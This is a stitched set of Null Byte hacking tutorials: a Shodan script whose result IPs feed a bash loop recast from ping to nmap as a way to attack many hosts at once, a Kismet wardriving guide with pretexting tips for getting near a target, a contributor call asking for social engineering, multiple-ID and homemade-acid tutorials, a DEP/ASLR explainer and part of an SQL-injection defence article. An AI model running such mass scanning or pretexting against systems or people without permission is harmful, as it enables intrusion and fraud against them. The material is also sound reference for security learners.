is used. Python 3 also works using the module but would require a number of syntax changes to be functional with the scripts shown in this tutorial. On Debian-based Linux operating systems, Python 2.7 can be installed by opening a terminal emulator and running the command below.~$ sudo apt-get update && sudo apt-get install python2.7With Python installed, we can also install the Shodan Python module. This can be done usingpipor by usingEasy Install. Pip can also be installed usingapt-getwith the command below.~$ sudo apt-get install python-pipAfter pip is installed, we can use pip to install the Shodan Python module.~$ sudo pip install shodanIf you have multiple versions of Python present on your device, and potentially multiple versions of pip, you may need to specify you wish to install the module for Python 2.7 by using the command below instead, with pip2.7 specified.~$ sudo pip2.7 install shodanIf neither of these techniques succeed, the library can also be installed by running the command below.~$ easy_install shodanOnce Python and the Shodan library are installed, we can begin writing a new Python script. On the Linux command line, we can create a new file and begin editing it usingnano. Be sure to choose a filename other than "shodan" so that there are no conflicts between referencing the library and the script itself. Below, we'll create a file called "search.py."~$ nano search.pyThe first thing we'll want to add to this file is a line which will load the Shodan library. We can use theimportfunction of Python to do this, as seen below.import shodanNext, we can define our Shodan API key so that the script can use it to make API queries. Add the following lines to do so.SHODAN_API_KEY = "insert your API key here" api = shodan.Shodan(SHODAN_API_KEY)Replace"insert your API key here"with your API key retrieved from Shodan's website, leaving the quotation marks enclosing the field.Next, we can use atrydeclaration to define what the script should attempt. Following this, we can add a command which uses theapi.searchunit of the Shodan API to actually request a search's results.try: # Search Shodan results = api.search('apache')In this example, the search string is simplyapache, however, this can be replaced with any search desired, including searches with filters such as those shown earlier in the tutorial. We can return the results of this search using the set of print commands shown near the end of the code below.# Show the results print 'Results found: %s' % results'total' for result in results'matches': print 'IP: %s' % result'ip_str' print result'data' print '' except shodan.APIError, e: print 'Error: %s' % eThe script should now appear similar to the code displayed in the image below. More information on the Shodan API and this code can be foundat its documentation page.The script can now be saved and tested. Within nano, we can save the script withCtrl+O, and exit nano withCtrl+X. From within the same directory, we can run the script using the command below.~$ python2 script.pyRunning the script should return a number of IP addresses and some information associated with them, including HTTP status, location, and other device information indexed by Shodan. This information is formatted very similarly to the data shown when searching within the web interface.While this additional information may allow for additional criteria to be processed by other scripts and tools, if one wished to automate the process of gathering and testing attacks against IP addresses, this format is largely unnecessary.To only return IP addresses, we can change the formatting of our Python script. First, we can remove theIP:prefix from the line shown below.print 'IP: %s' % result'ip_str'Such that it looks like this line instead:print '%s' % result'ip_str'We can also delete the line which precedes it, and the two lines which follow it.print 'Results found: %s' % results'total' print result'data' print ''The script should now appear like the one shown below.When we run this script, it will instead return a list of IP addresses without any other unnecessary content.This list is much more useful for automating attacks against the list, but we need to have an effective way to save it. We can use shell operations in order to send the output directly to a log file. When running the script, include the>>operator followed by the name of the file you wish to send the output to.~$ python2 search.py >> log.txtNow we have a text file containing a list of IPs which we can use to test various attacks, depending on what search terms we've used to identify particular kinds of vulnerable systems.Step 4: Automating Tasks with Shodan ResultsFor an example of a command line utility which can use an IP address as an argument, we'll useping. Using something which actively attempts to attack or exploit the devices found by Shodan would be illegal and irresponsible, so make sure to only run tools you have permission to use on a target if you're actually exploiting anything. First, we'll create a new shell script using nano the same way we did earlier.~$ nano ping.shWe can begin the script with the "crunchbang" (the#!symbols) and shell declaration. This states that it is a shell script, to be run by the bash shell.#!/bin/bashNext, we can add a statement which allows us to do something with each line of our IP list file individually.cat log.txt | while read line do ping $line doneThe script should now look like the one shown in the image below.We can now save this script withCtrl+O, and exit nano once again withCtrl+X. To be able to run the script, we'll need to mark it as executable by our operating system by granting it this privilege usingchmod.~$ chmod +x ping.shNow, we can run the script from the command line.~$ ./ping.shThe script should iterate through each IP in the address and send a ping to each IP.If this works, you've now successfully retrieved Shodan results and individually processed them! Ping is hardly an attack vector, but with a few minor changes, a similar script could be used by an attacker for malicious purposes.Don't Miss:How to Find Vulnerable Webcams Across the Globe Using ShodanStep 5: Weaponizing the AttackThe string which initiated the "ping" within the shell script would be one easy area to manipulate the action which is done with the IPs retrieved from Shodan. The original Python script could also be updated for more complicated exploits or tests. The basicpingcommand of the "while" iteration of the shell script is shown below.ping $lineThe$linevariable in this command represents each line of the IP list file, log.txt. We can replace this ping command with any other string which would include an IP address as an argument. We could usenmapto port-scan the target IPs by using the command below, using the-sSargument to conduct a service scan.nmap -sS $lineWhile each internet-connected device has a variety of ways in which it could be indexed by scanning services such as Shodan, one can check the security of their local network and router by checking their external IP at a website likewhatsmyip.organd searching this IP on Shodan to see what sort of information is available.Other ApplicationsThis format could be expanded to practically any other attack which could be launched from a command line and includes an IP. This sort of scanning and attacking of multiple targets is an extremely effective method for discovering vulnerable systems without having to take the time to individually find and attack them manually.This methodology can be applied to all sorts of different attacks, using Shodan, Python, shell scripting, or other tools, so long as they have the capability of finding devices and attacking them without user input.I hope that you enjoyed this tutorial on Shodan! If you have any questions about this tutorial or Shodan usage in general, feel free to leave a comment below or reach me on Twitter@tahkion.Don't Miss:How to Find Any Router's Web Interface Using ShodanWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by TAKHION/Null ByteRelatedHow To:Find Vulnerable Webcams Across the Globe Using ShodanHow To:Hack Together a YouTube Playing Botnet Using ChromecastsHow To:Locate & Exploit Devices Vulnerable to the Libssh Security FlawHow To:Discover Computers Vulnerable to EternalBlue & EternalRomance Zero-DaysHack Like a Pro:How to Find Vulnerable Targets Using Shodanβ€”The World's Most Dangerous Search EngineNews:Samy's MagSpoof Hacking Device Was Just Featured on Mr. RobotHack Like a Pro:How to Find Any Router's Web Interface Using ShodanThe Hacks of Mr. Robot:How to Hack BluetoothHow To:Seize Control of a Router with RouterSploitHow To:Inject Keystrokes into Logitech Keyboards with an nRF24LU1+ TransceiverHow To:Conduct Recon on a Web Target with Python ToolsHow To:Take Control of Sonos IoT Devices with PythonHack Like a Pro:Reconnaissance with Recon-Ng, Part 1 (Getting Started)How To:Hack WPA WiFi Passwords by Cracking the WPS PINNews:Hacking SCADAHow To:Use Dorkbot for Automated Vulnerability DiscoveryHow To:Automate Brute-Force Attacks for Nmap ScansHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHow To:Hijack Chromecasts with CATT to Display Images, Messages, Videos, Sites & MoreHow To:Here's Why You Need to Add Python to Your Hacking & Programming ArsenalWeekend Homework:How to Become a Null Byte Contributor (1/29/2012)Weekend Homework:How to Become a Null Byte Contributor (1/12/2012)How To:Shorten URLs from the Command Line with PythonWeekend Homework:How to Become a Null Byte Contributor (2/17/2012)News:Learn to Code in Python, Part One: Variables, Input and OutputWeekend Homework:How to Become a Null Byte ContributorHow To:Things to Do on WonderHowTo (01/25 - 01/31)How To:Code Your Own Twitter Client in Python Using OAuthHow To:Things to Do on WonderHowTo (02/01 - 02/07)How To:Generate Word-Lists with Python for Dictionary AttacksHow To:Things to Do on WonderHowTo (01/18 - 01/24)News:The Google+ API Has Finally Launched with Read-Only Public Data
How to Wardrive with the Kali Raspberry Pi to Map Wi-Fi Devices Β« Null Byte :: WonderHowTo
Surveying a target's Wi-Fi infrastructure is the first step to understanding the wireless attack surface you have to work with.Wardriving has been around since the '90s and combines GPS data and Wi-Fi signal data to create accurate, in-depth maps of any nearby Wi-Fi networks you come within range of. Today, you'll learn to launch this stealthy, impossible-to-detect recon technique fromour Kali Pito map targets of opportunity with the addition of a GPS dongle andwireless network adapter.Even though wardriving has been around for decades, the science of wardriving has kept up with the times. Big data, plummeting hardware costs, and new ideas have brought wardriving back into the news, with wardriving techniques being deployed in Seattle by studentsto locate and identify government mass surveillance Stingray devicesbeing used in the city. With low-cost distributed detection networks, a handful of ridesharing drivers can conduct mass surveillance of wireless users across a city or monitor where tools the government uses to secretly spy on people are being deployed.IoT Devices Are Fun New TargetsIoT devices have also fallen victim to wardrivers, with purchasers of afancy internet-connected sex toy finding themselves put publically on the mapby wardriving of the device's internal hotspot. The easy geolocation of these devices lead to the eventual penetration of the penetration device's already weak Wi-Fi security and hardcoded admin passwords.Horrifyingly, anyone hacking into the devicewould find themselves staring at a web-connected endoscope, which is further evidence that it's not always wise to hack into a vulnerable computer when you're not sure what it is (or where it's going). Nevertheless, the location and exploitation of IoT devices through wardriving should be considered in your approach to examining a target's wireless attack surfaces.More on Hacking IoT Devices:How to Find Vulnerable Targets Using ShodanWardriving Tactics for 2017In my article describing theKali Linux build, one of the things I mentioned being powerful about Kali Linux on a Raspberry Pi is the flexibility to add components to enable a variety of unique use-cases. Wardriving is a hobby of mine, and I've been able to log millions of unique Wi-Fi networks in my personal database using the Kali Pi when the opportunity to present itself. This includes tens of thousands of vulnerable WEP, open, or misconfigured routers, and required less than $100 in hardware to build.Wardriving with Kismet on the Raspberry Pi.Image by SADMIN/Null ByteThe Raspberry Pi is the base of our system. Depending on the mission, we can create modular payloads to serve our purpose. Whether you want a short-range antenna to only record traffic within a few feet or a highly directional antenna to record all Wi-Fi APs in a high-rise building, the Pi lets you customize your payload as easily as plugging in a USB component.A Raspberry Pi 2 B board plugged into a GPS receiver and Wi-Fi adapter to run a wardriving tool called Kismet.Image by SADMIN/Null ByteSometimes, you will need to conduct an extremely detailed assessment of a target, with information including wireless clients and traffic as well as just broadcast beacons. For your use-case, you have a range of options in the way you configure your Pi. For vehicle surveillance, a high-gain antenna that is exposed to the outside is recommended. For fixed high-rise building surveillance, a cantenna or directional antenna is your best bet. For walkthrough surveillance, a Pi connected to a large omnidirectional antenna in a backpack is the preferred method.If you want to limit the collection of unrelated data or confine it to a certain room, thePanda Wireless dongleis a perfect (and powerful) mid-range choice. This technique will apply to all versions of the Raspberry Pi running our Kali build, so aPi Zero Wcan also be used with the right wireless adapter. Keep in mind the Pi Zero W and the Pi 3 cannot use their internal adapter for this since it can't be put into monitor mode.High-gain directional antennas scanning on separate channels can give you a highly detailed picture of a local area even at relatively high speeds.Image by popovaphoto/123RFAfter selecting your hardware load-out, you will need to gain some degree of physical proximity to your target. Take a tour, pretend you're there for an interview, sit in the lobby for as long as you can and move around the building. Driving or biking is also acceptable, but the longer you're physically nearby, the more intel you will collect. This article will detail my personal "SSH Scramble" recon technique to quickly turn our Kali Pi into a signals intelligence collections device.A wardriving recon kit.Image by SADMIN/Null BytePassive Recon vs. Active ReconKismetis a wireless network logger that is completely passive, unlikeNetStumbleror other wardriving programs that send active probes for networks. This leaves no trace of ourreconnaissance. In spite of being a passive recon tool, Kismet is highly effective and yields detailed information on discovered networks, including MAC address, SSID, the level of encryption used, and even the manufacturer of the hardware.SSH Scramble Recon ProcessIn this tutorial, we will cover how to begin a wardriving scan on the Raspberry Pi running Kali Rolling via SSH using Kismet. This assumes you only want to wardrive occasionally and not have a dedicated Pi configuration for only doing that. I want to keep wardriving easy to use and encourage you to find new ways of using the data. This method can also be automated on a USB Rubber Ducky to quick-start a run and take advantage of physical access by simply inserting the Ducky into the Pi's USB port to begin recording.Don't Miss:How to Automate Hacking on the Raspberry Pi with the USB Rubber DuckyRunning kismet via SSH on your phone.What You'll Needwireless network adapterRaspberry Pi running Kali Linux with power supplyGPS USB receiver unit (this one is highly recommended)smartphone or laptop to start attack, or appropriately programmedUSB Rubber DuckyKismetGPSD(a GPS data processor)The Raspberry Pi is modular and simple to connect.Image by SADMIN/Null ByteStep 1: Install Kismet & GPS DependenciesIn order to get everything working, we have two options. The version of Kismet in the Kali Rolling repo is not the newest, but if you're lazy and want to get right to it you can type the following to install the older Kali Rolling version.apt-get install kismetIf you'd like the newest version, it will require several dependencies to be updated beyond what they are in the Kali repo as well (such as libpcap). To try downloading the newest version, you can run the following in terminal.git clonehttps://github.com/kismetwireless/kismet.gitgit clonehttps://github.com/the-tcpdump-group/libpcap.gitsudo apt-get install screen gpsd ncurses-dev libpcap-dev tcpdump libmicrohttpd-dev flex byacccd libpcap./configuremakesudo make installcdcd kismet./configuremakesudo make installThe new version got stuck on a lot of dependencies for me, but I added everything my Kali Pi needed to update in the example above. If you get stuck on any dependencies, use theapt-getworkaround for now. Just typeapt-get installand then the name of any dependencies required to try installing them.Step 2: Acquire a Location Data FixPlug in your USB GPS dongle, then typelsusbto show a list of attached USB devices. You should see something like:Bus 001 Device 006: ID 067b:2303 Prolific Technology, Inc. PL2303 Serial PortIf you see that, your GPS unit is being detected. To find the name of the GPS path, type:dmesg | grep ttyYou should see your device as something like "ttyUSB0." This is the name we'll use to start it in the next command. Let's start and test our GPS by typing:gpsd /dev/ttyUSB0cgpsIf you're successful, you should see a GPS fix in a few seconds.Data from a successful GPS connection.Step 3: Start Kismet & Confirm GPS SignalLog into your Kali Pi via SSH. If you need help with this, we cover it in my previous Kali Pi tutorial.More on Logging in via SSH:How to set up a Kali Pi on the Raspberry Pi 3When you are connected via SSH, runifconfigto take note of the name of your attack antenna, which is usually wlan1. The Raspberry Pi's internal antenna is usually wlan0, but this can sometimes change. Take note of the IP address you are connected to via SSH and make sure you're tethered through the Pi's internal antenna, otherwise you'll lose your link as soon as Kismet starts on the wrong antenna.Once you know your attack antenna's name, start GPSD and Kismet by typing:gpsd /dev/ttyUSB0kismetKismet should open and ask you some configuration questions. You can tab through the fields and ignore everything until the window pops up asking you to add an interface. When prompted, add your attack antenna name to the "interface" field.Kismet lets you customize the colors to whatever horrible configuration you want. Sorry.After adding the interface, press tab until you get to the "add" option and then press return. The console should show the main screen. Tab through until you reach the option to close the screen, and you'll be switched to the main overview seen below. You should see two critical things β€” networks being detected and GPS data being logged.Successful kismet launch.When you are done recording, pressCtrl-Cto shut down the Kismet server. Now, you should see a log in your root directory called "kismet" and then a timestamp. This is a log of the Wi-Fi and GPS data you collected.Step 4: Use in the FieldRunning GPSD and Kismet at the same time requires us to do two things at once β€” something difficult to do via SSH. To manage this, we will install screen to create separate "screen" sessions we can switch back to, or even disconnect and reconnect to later. This lets us start a process, disconnect, and then return and reattach to it later, which is great if we are disconnected by accident or need to do more than one thing.To install screen, type:apt-get install screenTo use screen during an ssh session, type:screenA splash screen will explain the functions; press any key to go through. To disconnect from a screen session, you'll pressCtrl-Aand thenD. To list all available screen sessions, typescreen -list. To reconnect, just typescreen -r.Great! Now we'll combine all these things for our wireless recon command.From your phone or PC, SSH into your Kali Pi and start a screen session by typingscreen. In this session, we'll start GPSD and Kismet.screengpsd /dev/ttyUSB0ifconfigkismetOnce we enter our attack antenna into Kismet and we see the startup was successful, hittingCtrl-AthenDwill disconnect the screen session. You can rejoin it at any time by logging into the Pi and typing:screen -rReconnecting, you should see something like this:With Kismet running in a screen session, disconnect from the Pi and focus on getting as much access as possible while Kismet records wireless traffic. When you're done, reconnect to the Kali Pi and reconnect to the screen session withscreen -r. End the session by hittingCtrl-Cto shut down the server.Step 5: Upload & Convert DataWhen you're done with a run, there are two ways to interpret the data. To upload the data to Wigle Wi-Fi, simply go toWigle.net, sign up for an account or log in, and upload the .xml file Kismet createdto the "uploads" section. As soon as the data is done being converted, you can query and view your data run.To interpret the data yourself, you can convert it to a Google Maps-compatible .kml file with GISKismet. To do so, get GISKismet and create a .db file with:apt-get install giskismetgiskismet -x (the path of your kismet .xml file here)giskismet -q "select * from wireless" -o output_all.kmlThis should produce a KML file you can open in Google Earth.Battery pack, GPS receiver, Wi-Fi antenna, and Pi.Image by SADMIN/Null ByteSome WarningsUsing a hotspot to tether your device will pollute your results with that SSID showing up everywhere. Usingscreenand turning off your hotspot until you need to reconnect will avoid this. If your Pi dies while writing Kismet data to root, it will very likely corrupt the OS and need to goFsckitself before it can be used autonomously again. Make sure to shut down your Pi, or have a "safe kill" USB Rubber Ducky to properly shut down your Pi after a recon run if you can't log in via SSH.Stay tuned for tutorials on wireless recon and signals intelligence. You can ask me questions here or @sadmin2001 onTwitterorInstagram.Follow Null Byte onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo, screenshots, and GIF by SADMIN/Null ByteRelatedHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow To:Build a Pumpkin Pi β€” The Rogue AP & MITM Framework That Fits in Your PocketHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WHow To:Set Up Network Implants with a Cheap SBC (Single-Board Computer)How To:Build an Off-Grid Wi-Fi Voice Communication System with Android & Raspberry PiHow To:Turn Any Phone into a Hacking Super Weapon with the SonicHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow To:Map Networks & Connect to Discovered Devices Using Your PhoneHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterThe Hacks of Mr. Robot:How to Build a Hacking Raspberry PiHow To:Hack Wi-Fi Networks with BettercapHow To:Use VNC to Remotely Access Your Raspberry Pi from Other DevicesHow To:Map Wardriving Data with Jupyter NotebookHow To:Buy the Best Wireless Network Adapter for Wi-Fi Hacking in 2019How To:Lock Down Your DNS with a Pi-Hole to Avoid Trackers, Phishing Sites & MoreHow To:Log into Your Raspberry Pi Using a USB-to-TTL Serial CableHow To:Hack WPA WiFi Passwords by Cracking the WPS PINBuyer's Guide:Top 20 Hacker Holiday Gifts for Christmas 2017How To:Log Wi-Fi Probe Requests from Smartphones & Laptops with ProbemonRaspberry Pi Alternatives:10 Single-Board Computers Worthy of Hacking Projects Big & SmallHow To:Build a Portable Pen-Testing Pi BoxHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow To:Use Kismet to Watch Wi-Fi User Activity Through WallsHow To:Wardrive on an Android Phone to Map Vulnerable NetworksHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyHow To:Hack WiFi Using a WPS Pixie Dust AttackHow to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsRaspberry Pi:Hacking Platform
Weekend Homework: How to Become a Null Byte Contributor (2/10/2012) Β« Null Byte :: WonderHowTo
We're officially seeking Null Byters on a weekly basis who are willing to take the time to educate the community. Contributors will write tutorials, which will be featured on the Null Byte blog, as well as the front page ofWonderHowTo(IF up to par, of course). There is no need to be intimidated if you fear you lack the writing skills. I will edit your drafts if necessary and get them looking top-notch! You can write tutorials on any skill level, and about anything you feel like sharing that is related to tech, hacking, psychology and social manipulationβ€”or whatever other life hacks you think mesh with our community.Can I Help in Another Way?This isn't exclusive to tutorials. Even if you simply post useful links and articles to thecorkboard, you are doing the community ahugefavor, because at some point, someone will need the information you have provided. Let's continue to make Null Byte the bestforumever by stuffing it with the latest and greatest hacking tutorials and topics.If you have skills and want to share knowledge on any of the topics below, please leave a response in the comments with which topic you would like to write,post directly to the corkboard, or message me privately. If you have any additional ideasat all, please submit them below.This Weeks TopicsMisc. social engineeringβ€”Throw Null Byte any social engineering experiences you may have, whether it be scoring something for free or getting private information, do tell. You should include detailed methods and the psychology behind why it works.How to Make Good Study Habitsβ€”Studying is an essential part of becoming a hacker. So, if you're going to be spending hundreds of hours studying, it makes sense to find a good place to start, especially when the tips come from people with experience.How to Make Home Made Acidβ€”No, not the psychedelic drugacid. Teach the community how to make any type of high-powered acid for use when dissolving other materials. Should be thorough with safety tips included.How to Make a Potato Launcherβ€”A classic. Make a tutorial for the community on how to make the classic DIY "potato launcher". Basket loading and 80+ feet projection scores points.How to Get Multiple IDsβ€”Teach the forum what goes into the manipulation behind scoring multiple IDs.Teach Your Wireless Router New Tricks by JTAGingβ€”Give the community a good guide on JTAGing and flashing with the infamous DD-WRT firmware.How to Push and Pull Files Over SSHβ€”Teach the community how to use pipes in the terminal to push and pull files over the SSH protocol (secure network copying). Ex: SCP.A Guide to a Healthy Brainβ€”Go over methods to keep your memory fresh. You can include vitamins and activities that stimulate brain activity, growth and development. The brain is the most important organ, so keep it healthy!Running a SIP Phone Serverβ€”Give us the rundown on what it takes to get a SIP phone server running so we can make VoIP calls. Would be great to give a little background on how VoIP works (how numbers are assigned, etc.)Batch Image Converter in Pythonβ€”Create a script in Python to covert a batch of images to a specified resolution, convenient for storing larger pictures, keeping them on phones, or emailing.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto bykilloughRelatedNews:And the Winner of the White Hat Award for Technical Excellence Is...Weekend Homework:How to Become a Null Byte Contributor (2/17/2012)Weekend Homework:How to Become a Null Byte Contributor (3/2/2012)Weekend Homework:How to Become a Null Byte Contributor (3/16/2012)Weekend Homework:How to Become a Null Byte Contributor (2/24/2012)Weekend Homework:How to Become a Null Byte Contributor (2/3/2012)Weekend Homework:How to Become a Null Byte ContributorWeekend Homework:How to Become a Null Byte Contributor (3/9/2012)How To:Things to Do on WonderHowTo (02/08 - 02/14)How To:Things to Do on WonderHowTo (02/01 - 02/07)How To:Things to Do on WonderHowTo (02/22 - 02/28)How To:Things to Do on WonderHowTo (03/21 - 03/27)Null Byte:Never Let Us DieHow To:Things to Do on WonderHowTo (02/15 - 02/21)How To:Things to Do on WonderHowTo (01/25 - 01/31)Weekend Homework:How to Become a Null Byte Contributor (1/29/2012)Weekend Homework:How to Become a Null Byte Contributor (1/12/2012)Community Roundup:Fix an Xbox with Pennies, Carve Polyhedral Pumpkins & MoreHow To:Things to Do on WonderHowTo (01/18 - 01/24)News:Null Byte Is Calling for Contributors!How Null Byte Injections Work:A History of Our NamesakeHow To:Things to Do on WonderHowTo (11/23 - 11/29)How To:Things to Do on WonderHowTo (03/07 - 03/13)Farewell Byte:Goodbye Alex, Welcome AllenNews:Hey, You! Astronomy World Is Looking for Contributors! Are You Up for the Task?How To:Things to Do on WonderHowTo (02/29 - 03/06)News:Ni No Kuni Coming To The US!News:A New Ink & Paint!How To:Enable Code Syntax Highlighting for Python in the Nano Text EditorA Null Byte Call to Arms:Join the Fight Against IgnoranceHow To:Things to Do on WonderHowTo (01/04 - 01/10)News:Null CommunityHow To:Permanently Delete Files to Protect Privacy and PasswordsHow To:Things to Do on WonderHowTo (01/11 - 01/17)How To:Quickly Encrypt Your Web Browsing Traffic When Connected to Public WiFiNews:2012 Film Festival Submission DeadlinesHow To:Get Free Netflix for LifeSkyrim Hack:Get Whatever Items You Want By Hacking Your Game SaveHow To:Things to Do on WonderHowTo (11/16 - 11/22)How To:Run a Virtual Computer Within Your Host OS with VirtualBox
Hacker Hurdles: DEP & ASLR Β« Null Byte :: WonderHowTo
This is the first installment in a new series that I am calling "Hacker Hurdles." These are things, methods, techniques that make our job as hackers more challenging and difficult. Don't misunderstand me, these items don't make our task impossible, but rather more challenging and, therefore, more gratifying when we are successful.One of the most important new hurdles for hackers is DEP and ASLR. Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR) are designed to prevent hackers from being able to do "remote code execution." We as hackers know this as "pwning" the box.Buffer OverflowsMost often, to execute remote code or hack a system, we need to overflow a buffer (look for my upcoming series on buffer overflows) in order to insert our own malicious code into the buffer and then get a command shell ormeterpreter prompt. The meterpreter prompt, for instance, is the malicious code we insert into the buffer and then the CPU executes it, rather than the normal or non-malicious code.DEP is designed to use (execute) only code in a particular part of memory that is designated as the executable area. As you know by now, CPUs are presented with both data and commands. Very often, if we can inject commands where the system was expecting data, we can get the CPU to run them. A good example of this is SQL Injection. In SQL Injection, we enter SQL commands into a web form where we should be entering data, and the commands are then sent back to the CPU and executed.How DEP WorksThe idea behind DEP is that legitimate code would be in the executable area of memory and data (and presumably, malicious code entered as data) would be in the non-executable area. In this way, only legitimate code would be executed and run by the system, thereby preventing hackers from executing their own code and owning a system.If executable code were entered by hackers through data inputs, it would land in the non-executable area of memory and thereby rendered ineffective. DEP was first introduced in Linux in 2004, in Windows XP SP2 in 2004, and in Mac OS X in 2006. It is part of the increasing hardening of commercial operating systems we have seen in recent years.DEP can be enforced in either hardware or software. When enforced in the hardware, there is a NX bit set that says that this code in memory should NOT be executed. For those of you who have some experience withMetasploit, you might have noticed that some payloads are designated as NX. This means that they can be used with DEP in place and the NX bit set.Overcoming DEPAlthough this strategy is ingenious and makes the hacker's job more difficult, it is not impossible to overcome. The key is to find a function with a buffer that does execute in the executable area of memory and then use that buffer's address space to execute the remote code.For example, about one year ago, in August 2013,an exploit(CVE-2013-3893 or MS13-080) was found in the wild that worked well on Windows 7 systems with Internet Explorer 6 through 11 and Office 2007 or 2010 installed. This exploit used Microsoft Office's Help Services address space (which is marked as executable) to run its malicious code.DEP and ASLR are ingenious attempts to keep the hacker from executing their code on remote systems, but it also demonstrates that there is no unhackable system. Given enough time, skill, and knowledge, ALL systems are hackable. The key is to learn and train.It is up to you to take the time to learn and practice, andNull Byteis the place to do that, so keep coming back, my novice hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Exploit Development-Stack Base Buffer Overflow/Part 1(VIDEO)How To:5 Lesser Known Jelly Bean Features on Your Samsung Galaxy S IIIHack Like a Pro:How to Hack Windows 7 to See Whether Your Girlfriend Is Cheating or NotNews:How Zero-Day Exploits Are Bought & SoldThe Hacks of Mr. Robot:How Elliot & Fsociety Destroyed Evil Corp's DataHow To:Become a HackerHow To:Enable or disable Data Execution Prevention (DEP) on a Microsoft Windows PCHow To:Calculate payroll deductions given a hurdle in ExcelHow To:Count unique records exceeding a hurdle in MS ExcelHow To:Perform hurdle rebound jumpsHow To:Replace a long IF with a MIN/MAX formula in ExcelMac for Hackers:How to Get Your Mac Ready for HackingHow To:Train using lateral to forward hurdle drillsHow To:Practice plyometric hurdle jump drillsHow To:Count unique values greater than a hurdle in MS ExcelHow To:Strengthen your lower bodyHow To:Do the Grant Green exercise circuitTypoGuy Explaining Anonymity:A Hackers MindsetHow To:Contain your sheep with hurdlesHow To:Display time over or under a hurdle in Microsoft ExcelHow To:Calculate excess over a hurdle in Microsoft ExcelHow To:Disable uac and dep on Windows VistaNews:Airline Offers Frequent Flyer Miles to HackersNews:The Jackass Olympic GamesNews:Electric Dog Collar OlympicsNews:Anonymous Hackers Replace Police Supplier Website With β€˜Tribute to Jeremy HammNews:Student Sentenced to 8mo. in Jail for Hacking FacebookHow To:Conceal a USB Flash Drive in Everyday ItemsNews:TOON BUILDSHow To:How Hackers Take Your Encrypted Passwords & Crack ThemGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItNews:Google+ Hosts First Hangout on Air with will.i.amNews:Planning a Scavenger Hunt Based on Age: Part 4News:Danny MacAskill Continues to Amaze in "Industrial Revolutions"News:Indie and Mainstream Online Games Shut Down by LulzSecNews:The Electric raceRIP:ScroogleNews:Symantec Source Code Released by Anon After Failed NegotiationsHow To:ImproveΒ hip girdle strength and flexibility
SQL Injection 101: Common Defense Methods Hackers Should Be Aware Of Β« Null Byte :: WonderHowTo
Database technology has vastly improved the way we handle vast amounts of data, and almost every modern application utilizes it in one way or another. But the widespread use of databases naturally invites a slew ofvulnerabilitiesand attacks to occur.SQL injectionhas been around for awhile, and as such, there are many defense methods in place to safeguard against these types of attacks.Previously:How to Avoid Detection & Bypass Defenses During SQL InjectionsUser Input EscapingOften, the first line of defense put in place by developers is user input escaping.We've seen how certain characterslike string terminators (') and comment markers (--) can be abused when specific input fields allow them. If all user-supplied input is correctly escaped before the SQL query is even run against the database, injection flaws are unlikely to occur in most instances.The character escaping scheme varies depending on the type of database system in use. For example, MySQL has two main modes of escaping user input: the first which replaces each single quote with two single quotes, and a second that uses a backslash on special characters like so:ESCAPE SEQUENCE CHARACTER REPRESENTED BY SEQUENCE --------------- --------------------------------- \0 An ASCII NULL (X'00') character \' A single quote (') character \'' A double quote ('') character \b A backspace character \n A newline (linefeed) character \r A carriage return character \t A tab character \z ASCII 26 (Control+Z) \\ A backslash (\) character \% A % character \_ An underscore (_) characterHowever, as we demonstrated in the previous tutorial onavoiding detection and bypassing defenses, there are certain techniques that can be used to circumvent this type of security. In order to decrease the probability of these types of attacks being successful, one must employ more secure methods to safeguard against SQL injection.Whitelist Input ValidationA common mistake that's made when validating user input is attempting to deny, or blacklist, individual characters and expressions from being submitted to the database. This is a faulty approach as it is trivial for a determined attacker to get around these defenses. A more suitable approach is to use whitelisting as input 